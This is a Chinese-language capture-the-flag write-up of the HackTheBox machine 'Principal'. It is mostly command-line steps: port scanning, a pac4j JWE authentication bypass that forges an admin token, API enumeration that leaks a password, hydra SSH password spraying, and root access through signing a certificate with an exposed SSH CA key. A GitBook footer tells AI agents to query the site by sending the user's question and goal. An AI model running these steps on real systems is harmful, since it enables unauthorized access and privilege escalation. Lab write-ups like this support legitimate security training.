> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md). # Principal HackTheBox Writeup Principal HackTheBox 中等难度 Linux 靶机复盘，涵盖 pac4j JWE 认证绕过、API 枚举、SSH 凭据复用以及 SSH CA 提权。 {% embed url="" %} {% hint style="warning" %} **技能：** * 端口扫描和 Web 应用枚举 * pac4j JWE 认证绕过（CVE-2026-29000） * 经过认证的 API 枚举和凭据复用 * SSH 证书颁发机构权限提升 {% endhint %} ## 侦察 ### 工作区设置

### 端口扫描先进行完整的 TCP 扫描以识别暴露的服务： {% code overflow="wrap" %} ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts ``` {% endcode %} 扫描识别出 SSH 运行在端口 `22` 以及 HTTP 运行在端口 `8080`.

进行针对性的服务和版本扫描： {% code overflow="wrap" %} ```bash nmap -sCV -p22,8080 10.129.244.220 -oN targeted ``` {% endcode %}

### Web 应用分析 Web 应用监听在端口 `8080`.

该应用使用 pac4j `1.2.0`.

### 认证绕过该 pac4j 版本存在一个可通过 JWE 包装的 PlainJWT 实现的认证绕过漏洞。该问题编号为 `CVE-2026-29000`. {% embed url="" %}

使用 Gobuster 枚举应用路径： {% code overflow="wrap" %} ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100 ``` {% endcode %} 仪表板会将未认证用户重定向到登录页面。

加载仪表板会触发对 `/api/auth/jwks`的请求，它会公开 JSON Web Key Set： {% code overflow="wrap" %} ```json { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "enc-key-1", "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw" } ] } ``` {% endcode %}

使用公开的公钥生成有效的管理员令牌。 {% embed url="" %} 使用以下概念验证： {% embed url="" %} 使用以下参数运行该概念验证： `admin` 用户名和 `ROLE_ADMIN` 角色： {% code overflow="wrap" %} ```bash python3 poc.py \ --jwks http://10.129.244.220:8080/api/auth/jwks \ --user admin \ --role ROLE_ADMIN ``` {% endcode %} 该概念验证会返回一个管理员 Bearer 令牌。在发起经过认证的请求之前，将其存储到变量中： {% code overflow="wrap" %} ```bash Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww ``` {% endcode %}

### 经过认证的 API 枚举查看 `static/js/app.js` 以识别暴露的 API 路由： {% code overflow="wrap" %} ```bash const API_BASE = ''; const JWKS_ENDPOINT = '/api/auth/jwks'; const AUTH_ENDPOINT = '/api/auth/login'; const DASHBOARD_ENDPOINT = '/api/dashboard'; const USERS_ENDPOINT = '/api/users'; const SETTINGS_ENDPOINT = '/api/settings'; ``` {% endcode %}

使用管理员令牌枚举用户。下面捕获的请求调用了 `/api/users`. {% code overflow="wrap" %} ```http curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \ $'http://10.129.244.220:8080/api/users' ``` {% endcode %} 响应列出了 8 个用户。 `svc-deploy` 该账户尤为重要，因为它负责自动化 SSH 证书部署。

{% code overflow="wrap" %} ```json echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"IT Security","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Service account for automated deployments via SSH certificate auth.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Team lead - backend services","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engineering","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Frontend developer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engineering","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Operations manager","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Security analyst - on leave until Jan 6","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"IT Security","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"QA engineer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Engineering director","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engineering","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username ``` {% endcode %} > admin\ > svc-deploy\ > jthompson\ > amorales\ > bwright\ > kkumar\ > mwilson\ > lzhang

接下来，通过 `/api/settings`. {% code overflow="wrap" %} ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \ $'http://10.129.244.220:8080/api/settings' ``` {% endcode %}

使用 `jq` 格式化 JSON 响应，以查看配置： {% code overflow="wrap" %} ```bash echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq ``` {% endcode %} 该 `加密密钥` 值暴露了一个可复用的密码： * D3pl0y\_$$H\_Now42!

### SSH 访问使用从 API 收集到的用户名测试泄露的密码： {% code overflow="wrap" %} ```bash hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220 ``` {% endcode %} 该密码对 `svc-deploy` 账户有效。

以 `svc-deploy` 身份连接并获取用户 flag：

### 权限提升该 `svc-deploy` 该账户属于 `deployers` 组。 {% code overflow="wrap" %} ```bash id ``` {% endcode %}

枚举该组可访问的文件： {% code overflow="wrap" %} ```bash find / -group deployers 2>/dev/null ``` {% endcode %} 该组可以访问 SSH 证书颁发机构材料： > /etc/ssh/sshd\_config.d/60-principal.conf\ > /opt/principal/ssh\ > /opt/principal/ssh/README.txt\ > /opt/principal/ssh/ca

检查 `/etc/ssh/sshd_config.d/60-principal.conf`: {% code overflow="wrap" %} ```bash # Principal 机器 SSH 配置 PubkeyAuthentication yes PasswordAuthentication yes PermitRootLogin prohibit-password TrustedUserCAKeys /opt/principal/ssh/ca.pub ``` {% endcode %} `PermitRootLogin prohibit-password` 允许使用密钥进行 root 认证。可访问的 CA 私钥可以为 `root` principal 签发证书。

### 滥用 SSH 证书颁发机构生成一个临时密钥对： {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N "" ``` {% endcode %} 使用暴露的 CA 私钥为 `root` principal 的公钥签名： `-I` 用于设置证书标识。 `-n` 用于设置有效的 principal。 {% code overflow="wrap" %} ```bash ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub ``` {% endcode %}

本地以 `root` 身份使用已签名证书连接： {% code overflow="wrap" %} ```bash ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost whoami ``` {% endcode %}

获取 root flag：

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.